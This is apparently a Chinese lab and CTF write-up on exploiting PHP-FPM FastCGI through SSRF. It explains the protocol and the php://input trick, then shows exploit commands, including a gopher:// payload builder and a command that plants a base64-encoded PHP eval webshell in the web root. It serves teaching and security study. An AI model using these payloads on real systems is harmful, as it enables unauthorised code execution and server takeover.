SSRF漏洞之FastCGI利用篇「建议收藏」

SSRF漏洞之FastCGI利用篇「建议收藏」SSRF漏洞之FastCGI利用篇SSRF–(Server-sideRequestForge,服务端请求伪造)定义:由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务SSRF漏洞思维导图如下,本篇主要介绍利用SSRF漏洞攻击FastCGI0x00.PHP-FPMFastCGI未授权利用首先我们使用Vulhub漏洞靶场快速搭建漏洞环境进行复现,感受一波漏洞的危害#保证实验vps具有git、docker、pip、docker-compose、python基

大家好,又见面了,我是你们的朋友全栈君。

SSRF漏洞之FastCGI利用篇

SSRF–(Server-side Request Forge, 服务端请求伪造)
定义:由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务

SSRF漏洞思维导图如下,本篇主要介绍利用SSRF漏洞攻击FastCGI

image-20210224111821069

0x00.PHP-FPM FastCGI 未授权利用

首先我们使用Vulhub漏洞靶场快速搭建漏洞环境进行复现,感受一波漏洞的危害

# 保证实验vps具有git、docker、pip、docker-compose、python基础环境
## 下载vulhub靶场资源
git clone https://github.com/vulhub/vulhub.git
## 找到fpm Fastcgi目录,一键搭建漏洞环境
docker-compose up -d

image-20210225153035133

环境搭建完成,如下图可以看到,FPM Fastcgi未授权漏洞 docker镜像正在运行,且监听在本地9000端口

image-20210225154642500

执行P牛漏洞EXP,Exp见 https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

python3 fpm.py 118.24.127.188 /usr/local/lib/php/PEAR.php -c "<?php echo `id`; ?>"
# 其中/usr/local/lib/php/PEAR.php 为安装php时默认自带的php文件

image-20210225155548429

成功执行构造的任意PHP代码,拿到vps运行FPM的Web权限

看到这里,相比同学们都很好奇为何只是开启9000端口就造成任意命令执行了呢?

啥是PHP-FPM,FastCGI又是啥(大佬请略过0x01章节~)

接下来,我们一起探究漏洞的原理和具体的利用过程吧~

0x01.CGI、FastCGI、PHP-FPM

我们知道,在网站架构中,Web Server(如Nginx)只是内容的分发者

当客户端请求的是index.php,根据配置文件Web Server辨别不是静态文件,此时就需要去找 PHP解析器来处理

SSRF漏洞之FastCGI利用篇「建议收藏」

当Web Server收到 index.php 这个请求后,会启动对应的CGI 程序,也就是PHP解析器

接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以CGI规范的格式返回处理后的结果,退出进程,Web server再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程

这其中,引出如下概念:

  • CGI:是 Web Server 与 Web Application 之间数据交换的一种协议
  • **FastCGI:**同 CGI,是一种通信协议,对比 CGI 提升了5倍以上性能
  • **PHP-CGI:**是 PHP(Web Application)对 Web Server 提供的 CGI 协议的接口程序
  • **PHP-FPM:**是 PHP(Web Application)对 Web Server 提供的 FastCGI 协议的接口程序,额外还提供了相对智能的任务管理功能

PHP默认提供了很多种SAPI(服务器端应用编程端口),常见的提供给apache和nginx的php5_moduleCGIFastCGI,给IIS的ISAPI,以及Shell的CLI

经过不断的技术升级,目前搭建高性能的PHP Web服务器,最佳的方式是Apache/Nginx + FastCGI + **PHP-FPM(PHP-CGI)**方式

FastCGI工作原理

image-20210317142528149

Web 服务器启动时载入FastCGI进程管理器(PHP-CGI或者PHP-FPM)

  1. FastCGI 进程管理器自身初始化,启动多个 CGI 解释器进程,并等待来自 Web Server 的连接
  2. Web 服务器与 FastCGI 进程管理器进行 Socket 通信,选择一个CGI 解释器进程,通过 FastCGI 协议发送 CGI 环境变量和标准输入数据给 这个CGI 解释器进程
  3. CGI 解释器进程完成处理后将标准输出和错误信息从同一连接返回 Web 服务器
  4. CGI 解释器进程接着等待并处理来自 Web 服务器的下一个连接

由此,PHP-FPM 就是一个FastCGI进程管理器,是对于 FastCGI 协议的具体实现,它负责管理一个进程池,来处理来自Web服务器的请求。

PHP-FPM通信方式

在PHP使用FastCGI连接模式的情况下,Web服务器中间件如Nginx和PHP-FPM之间的通信方式又分为两种,TCP模式和套接字(unix socket)模式

  • TCP模式即是PHP-FPM进程会监听本机上的一个端口(默认为9000),然后Nginx会把客户端请求数据通过FastCGI协议传给9000端口,PHP-FPM拿到数据后会调用CGI进程解析
  • Unix套接字模式是Unix系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为socket的唯一标识(描述符),需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了。上述原理图中提到的Socket 通信即为此模式

配合文章开头的漏洞演示来看,我们利用SSRF漏洞攻击FastCGI是在TCP模式下进行

0x02.FastCGI攻击原理

FastCGI协议

HTTP协议是浏览器和服务器中间件进行数据交换的协议,类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端(如PHP-FPM)进行数据交换的协议

Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端(PHP-FPM),语言后端(PHP-FPM)解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件

record的头固定8个字节,body是由头中的contentLength指定,其结构如下:

typedef struct { 
   
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的类型
  unsigned char requestIdB1; // 本次record对应的请求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body体的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved; 

  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

语言端(PHP-FPM)解析了FastCGI头以后,拿到contentLength,然后再在TCP流里读取大小等于contentLength的数据,这就是body体

Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保留作用不需要该Padding的时候,将其长度设置为0即可

可见,一个FastCGI record结构最大支持的body大小是2^16,也就是65536字节

其中,header中的type代表本次record的类型,所有值及具体含义如下

image-20210317165945168

服务器中间件和后端语言(PHP-FPM)通信,第一个数据包就是type为1的record,后续互相交流,发送type为4、5、6、7的record,结束时发送type为2、3的record

举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么服务器中间件(Nginx)会将这个请求变成如下key-value对:

{ 
   
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉FPM:“我要执行哪个PHP文件”

当后端语言(PHP-FPM)拿到由Nginx发过来的FastCGI数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php

漏洞原理

到这里,PHP-FPM FastCGI未授权访问漏洞也就呼之欲出了。PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造FastCGI协议,和FPM进行通信

此时,我们自行构造SCRIPT_FILENAME的值,就可以控制PHP-FPM执行任意后缀文件,如/etc/passwd

但是,在PHP5.3.9之后,FPM默认配置中增加了security.limit_extensions选项

; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5 .php7

其限定了只有某些后缀的文件允许被FPM执行,默认是.php

因此,想利用PHP-FPM的未授权访问漏洞,首先就得找到一个已存在的PHP文件。已存在的PHP文件名获得有两种方法:

  • 通过系统的信息收集、爆破、报错获得某个PHP文件名及其路径
  • 找安装PHP后默认存在的PHP文件,如/usr/local/lib/php/PEAR.php

现在,拿到了文件名,我们能控制SCRIPT_FILENAME,却只能执行目标服务器上的文件,并不能执行我们想要执行的任意代码,但我们可以通过构造type值为4的record,也就是设置向PHP-FPM传递的环境变量来达到任意代码执行的目的

PHP.INI中有两个有趣的配置项,auto_prepend_fileauto_append_file

  • auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件
  • auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件

若我们设置auto_prepend_filephp://inputallow_url_include=on),那么就等于在执行任何PHP文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在FastCGI协议 Body中,它们就能被执行了

那么我们如何设置PHP.INI中auto_prepend_file的值呢?

我们可以通过PHP-FPM的两个环境变量,PHP_VALUE PHP_ADMIN_VALUE来设置PHP.INI

image-20210317212605153

最终,我们设置向PHP-FPM传递的环境变量:

{ 
   
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

最后两行设置auto_prepend_file = php://inputallow_url_include = On,然后将我们需要执行的代码放在Body中,即可执行任意代码(见文章开头漏洞复现)

0x03.SSRF攻击本地的PHP-FPM

生产环境中,除非测试或者图方便之外,PHP-FPM是极少开放在公网的,绝大部分都是启动在本地即监听127.0.0.1:9000地址,这种情况下,如果服务器端存在SSRF漏洞,那么我们就可以借助SSRF来攻击本地PHP-FPM服务,达到任意代码执行的效果

我们通过CTFHub中的一道SSRF FastCGI协议题目具体进行利用

image-20210318101305423

根据前面几篇SSRF系列的文章,我们对gopher协议已经有所了解

gopher://<host>:<port>/<gopher-path>_后接TCP数据流

当后接TCP数据流为我们构造的恶意FastCGI协议报文,即可执行恶意命令

根据上一章节的FastCGI攻击原理分析,我们需要满足三个条件:

  • PHP版本要高于5.3.3,才能动态修改PHP.INI配置文件(题目环境已满足)
  • 知道题目环境中的一个PHP文件的绝对路径
  • PHP-FPM监听在本机9000端口(题目环境已满足)

打开题目链接,我们访问index.php会被重定向,其他任意PHP文件都返回404,说明存在index.php

  • PHP文件的绝对路径:/var/www/html/index.php

方法一

所需条件都满足,我们利用题目附件中P牛的EXP:fpm.php

我们在本机监听9000端口,然后运行fpm.py将恶意FastCGI协议报文数据打在本机的9000端口,保存为exp.txt

# 监听9000端口
nc -lvvp 9000 > exp.txt

# 运行`fpm.py`
python3 fpm.py 127.0.0.1 /var/www/html/index.php -c "<?php system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk 7Pz4 | base64 -d > /var/www/html/shel1.php');die('-----made by pniu----- ');?>"

image-20210318115105185

编写exp_urlcode.py将exp.txt进行urlencode编码并输出

from urllib import quote
with open('exp.txt') as f:
	pld = f.read()
print "gopher://127.0.0.1:9000/_" + quote(pld)

image-20210318115521777

然后进行二次编码后将最终的payload内容放到?url=后面发送过去(这里需要进行两次编码,因为这里GET会进行一次解码,curl也会再进行一次解码)

image-20210318115149077

使用中国蚁剑成功连接webshell,在其根目录下找到flag

image-20210318115331996

拿到flag

image-20210318115610268

方法二

gopher工具生成payload

image-20210318101106760

与方法一一样,将payload二次编码后发送,然后中国蚁剑成功连接webshell,在其根目录下找到flag

0x04.总结

通过对PHP-FPM FastCGI协议的学习,漏洞原理的具体利用,得出FastCGI 的利用大多数还是配合SSRF漏洞才能造成巨大危害的结论。同时,也加深了PHP与Web Server之间通信的具体了解与认识

参考

Web安全基础学习之SSRF漏洞利用

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

浅析php-fpm的攻击方式

CGI、FastCGI和PHP-FPM关系图解

PHP 进阶之路 – 深入理解 FastCGI 协议以及在 PHP 中的实现

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/159799.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • Dijkstra算法和Floyed算法「建议收藏」

    Dijkstra算法和Floyed算法「建议收藏」Dijkstra算法和Floyed算法最短路径:在非网图中,最短路径是指两顶点之间经历的边数最少的路径。在网图中,最短路径是指两顶点之间经历的边上权值之和最短的路径。最短路径问题:单源点到其他顶点的最短路径:Dijkstra方法,O(n2)按路径长度递增任意一对顶点之间的最短路径:Floyed方法,O(n3)Dijkstra算法:按路径长度递增1.设置一个集合S存放已经找到最短…

  • gitlab docker安装_crawl用法

    gitlab docker安装_crawl用法1先给个干货crawlab的官方文档地址https://docs.crawlab.cn/Installation/Docker.htmlgithub说明地址https://github.com/crawlab-team/crawlab/blob/master/README-zh.md2两种安装方式一是通过dockerpull拉取,代码如下dockerpulltikazyq/crawlab:latest二是从github拉取代码,然后使用dockercompose命…

    2022年10月31日
  • html div 隐藏滚动条样式,div滚动条样式隐藏与显示

    html div 隐藏滚动条样式,div滚动条样式隐藏与显示DIV滚动条样式是可以设置的,CSS滚动条同样也可以显示与隐藏,对div设置滚动条,设置其横向滚动条和纵向滚动条样式应该怎么做呢?要设置CSS滚动条样式,需要用到overflow-y和overflow-x来设置div盒子对象右侧和底部滚动条效果。同时也可以使用CSS样式设置html框架iframe的滚动条隐藏,接下来为大家介绍。常规overflow怎么设置overflow-y:scroll总是显…

  • 矩阵卷积运算过程讲解「建议收藏」

    矩阵卷积运算过程讲解「建议收藏」在爬虫处理验证码的过程中接触到矩阵卷积运算,关于该类运算,记录一下自己的心得。理论知识在讲述卷积过程前,我们来了解一下卷积公式。根据离散二维卷积公式:其中A为被卷积矩阵,K为卷积核,B为卷积结果,该公式中,三个矩阵的排序均从0开始。现在对于上面卷积过程进行分析:我们用来做例子的A矩阵为m×m(3×3)二维矩阵(被卷积矩阵),K为n×n(2×2)的二维矩阵(卷积核)。卷……

    2022年10月29日
  • Python回顾与整理2:Python对象

    Python回顾与整理2:Python对象

  • aspnetmvc和aspnetcoremvc的一些区别「建议收藏」

    aspnetmvc和aspnetcoremvc的一些区别「建议收藏」1.路由控制器添加特性:[RoutePrefix(“api/controller”)]=>[Route(“api/[controller]”)]方法添加特性:[HttpGet][Route(“{id}”)]=>[HttpGet(“{id}”)]2.返回参数webapiIHttpActionR…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号